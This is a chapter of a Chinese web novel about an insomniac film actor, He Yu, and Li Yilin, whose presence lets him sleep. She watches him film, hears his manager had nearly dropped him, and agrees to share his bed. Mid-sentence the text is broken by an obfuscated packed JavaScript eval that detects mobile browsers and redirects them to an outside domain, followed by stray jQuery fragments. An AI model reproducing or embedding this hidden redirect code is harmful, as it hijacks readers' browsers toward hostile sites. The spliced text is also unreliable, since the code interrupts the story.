4


    何屿是被光叫醒的。长久失眠让他对光线非常敏感。“……何屿，该起来了。”他听见一个柔和的声音，有些冷，像山中清泉。他不自觉应了这声音，循着光线睁开眼睛。


    “醒了。”李伊林坐在床边，递给他一瓶冰好的气泡水。“醒醒神。”


    “……谢谢。”何屿坐起身，想了想刚才的梦境，除了日出时迎风竖起的帆，什么都想不起来。他仰头喝一口水，放下玻璃瓶，揉了揉眼睛。


    已经有很久，他没有在休息的间隙沉沉入睡。表演带来的情绪透支像气压阀，不断压迫着他因睡眠缺乏更加紧绷的神经。在李伊林到来之前，他觉得自己已快要陷入无悲无喜的匮乏之中——意识悬浮，万事万物无法感知，悲与喜都只是某个离他很远的形容词，与他的身体心灵皆无干系。


    在片场，他已多次令人失望。他知道，失眠是一头怪兽，已经快要将他吞噬殆尽。


    而现在，在短短两天之内，他睡了将近12小时。他就像终于等来阳光的树，从黑暗中生长起来，绿色叶子伸展着，重新感知万物，迎接鲜活欲望。这一切的发生，得益于光线里的陌生人。


    “还好吗？”见何屿像愣神一样看着她，伊林开口询问。


    “……嗯。睡得很好。”何屿像是回过神来，对伊林微笑。然后他利索起身，用手抹了把脸。“我出去找化妆师，你想继续在这里，还是去片场转转？”


    “……去片场。”李伊林想看监视器里的何屿。她想看他沉浸在表演之中，在情绪变幻之间，塑造另外一个有血有肉的人。


    “好。剧组中饭应该已经放过了，方华会让阿姨加送一次。”何屿边走边对她说。尽管昨天才相见，他似乎已将她当成可信赖的身边人。


    第二场戏过得很快，40分钟拍完三条，阿姨送来双人餐。伊林终于知道何屿吃饭快的习惯是怎么养成的——在同一场景试戏与调整状态的间隙之间，进食更像是给汽车加油，快速完成以保障后续工作。


    下午的时间过得很快。坐在监视器前的伊林在setting期间读了一半剧本，知道何屿饰演的是一名90年代南下创业者。这位男主角出身贫寒，与原生家庭关系紧张，头脑聪明但耐性不足。大学只上了两年就退学，以快速成功为目的创业两次都已失败。


    这是他的第三次，也是孤注一掷的最后一次创业，他把赌注押在互联网上。


    不算很新的故事，有关90年代创业潮的电视电影已有不少。在与策划经理张凯西的对话中伊林得知，她判断这部剧一定要接的原因有二，一，导演是名导，非常擅长拍摄厚重复杂的年代戏剧；二，主人公与何屿之前演绎的类型大不相同，这是一个最终会获得成功的小人物，他大度的同时狡猾，聪明的同时浮躁，有责任心也下得了狠手，懂得忍耐的同时，从不服输。他知道自己有一张堪称万能的、出众的脸，他会利用这幅容貌在权力面前谄媚，在爱情面前蛊惑，在利益面前逢迎，在面对自我时冷漠。


    因为失眠的关系，在之前的很长一段时间，何屿不接任何项目。而这一次，从故事到剧本，从角色到对手演员，到导演到制作班底，全都堪称业界顶级。“任何一个演员都不想错过这部剧。”年轻的策划经理张凯西看着监视器中的何屿说，“有些演员，一辈子都拿不到这样的机会。”


    “他演得很好。”伊林跟随她的视线看向监视器。凯西在笔记本上飞速记录下何屿的表演状况，继续将目光凝聚在自家演员身上。


    “在你来之前，他可不是这样。连着一个礼拜，他都差到想让全组放弃何屿这个名字。”


    伊林非常惊讶，“怎么会？他演得这么好……”


    “之前的他更像块木头，导演手把手教着他都无知无觉。”镜头对向女主角，何屿不再是画面中心。凯西放下笔，看向李伊林。


    “过度缺乏睡眠让他成了行尸走肉。不要说表演，日常生活里他都没有任何感觉。”回想之前，年轻女孩叹了口气。“我本来也打算放弃了，想与制片方商量一下，换掉主演。”


    伊林不能理解，“……你要主动换掉他？”


    “何屿已经拿过影帝。与其让他自砸招牌，不如留下传奇在更多人的记忆里。”凯西依旧看向监视器。伊林忽然明白了何屿选择她的理由，虽然她年轻、书卷气，但其实她自有一套筛选标准。老派，体面，更相信时间的价值与力量。


    “现在的他很好。”伊林看向重新出现在屏幕中的男子，他的表情细腻，生动，令人沉醉。“他不应该被换掉。”


    “嗯。”凯西只回了一句话，而后开始写笔记。她已进入工作状态。


    伊林不再打扰。她转而欣赏何屿的工作，同时在脑中勾勒一些字句，一些画面。利希斯应该如何出现在这个堪称完美的演员身上。或许与他更相称的并非男士腕表，而是高级珠宝。如猎豹般灵动的手镯，带有神秘之美的灵蛇胸针，纯净深邃的祖母绿戒指……它们出现在晚宴场合的何屿身上，在他的黑色正装中若隐若现的闪耀着。


    这些缓慢的、高贵的、由最成熟的工匠不惜成本与时间制造出的艺术品，更像来自于《昨日的世界》。那些凝固于时间中的厚重与美，与何屿十分相配。


    拍摄在凌晨结束，次日7点开拍。意味着何屿的睡眠时间只有5个小时。晚饭过后，方华


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459239|169676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问过她是否想早些回去，伊林拒绝了。她回归了做记者时的好奇心，想跟完属于演员何屿的一天。


    收工到家，已是凌晨一点。伊林冲好澡出来，看见头发半干的何屿侧躺在床上看手机。见她过来在床垫上躺下，何屿收了手机，平静看她。


    “……怎么了？”伊林问。


    “我知道合约里没有，但我有一个新要求。”


    “嗯，你说？”伊林展开被子，稍微盖住肚子。


    “……你上来，或者我下去。”何屿依旧静静侧躺着，他的声音有些哑下去。“我跟你躺一块儿。”


    伊林听着，有些惊讶。但是她不让自己表现出来。“……为什么？”


    “不为什么。只是想这样。”躺在床上的男子依旧静止着，没有任何动作。他的目光很柔和。


    或许，他只是难掩好奇。他毫无原因、难以克服的失眠症，竟然只是需要另一个毫不相干的陌生人待在身旁。只要她留在身边，就能将他拉出绝望般的日夜交替。而这一切的一切，皆无缘由。


    “……好。你下来吧。”伊林知道，这并非男女感情，更无关身体与皮肤接触。他只是想要更清晰的感知李伊林的存在。


    何屿起身，关掉大灯，打开手机灯抱着被子走到床垫前，在伊林特意让出的半边里躺下来。然后他熄灭手机，在黑暗中收紧羽绒被。


    “……离得近能让你更快入睡？”伊林没忍住，对着黑暗问。


    “不知道。好像也没什么特别的感觉。”


    “嗯。或许一定距离内都可以。你快睡吧。”伊林在黑暗中翻了个身，准备入睡。


    “……你明天回上海？”何屿躺在她的背面，轻声问。


    “嗯。就不去片场了，赶早班机回去。周一比较忙，一堆工作等着处理。”想起马上要面对的一摊事情，伊林觉得失眠的人要变成自己。


    “下周五晚上，你能晚班机飞过来么？”他的声音，就像发生在耳边。


    “……可以。”在这样静谧、亲密的黑暗里，李伊林无法说不。


    “好。睡吧，晚安。”他的声音听起来带着某种确信，令人心安。


    尽管并不习惯与陌生人同床共枕，但何屿似乎是一个例外。身边人非常安静，像是很快沉入睡眠。伊林知道接下来的五天内，何屿又会陷入失眠的糟糕境地，但她让自己停止想下去。


    她在内心告诫自己，这是他的事，与她无关。在黑暗房间之外所存在的、更加广袤的现实之中，他们是一生都不会产生交集的，不同世界的陌生人。


    他们不是同类，任何感情都不应发生。


    李伊林很快进入梦乡。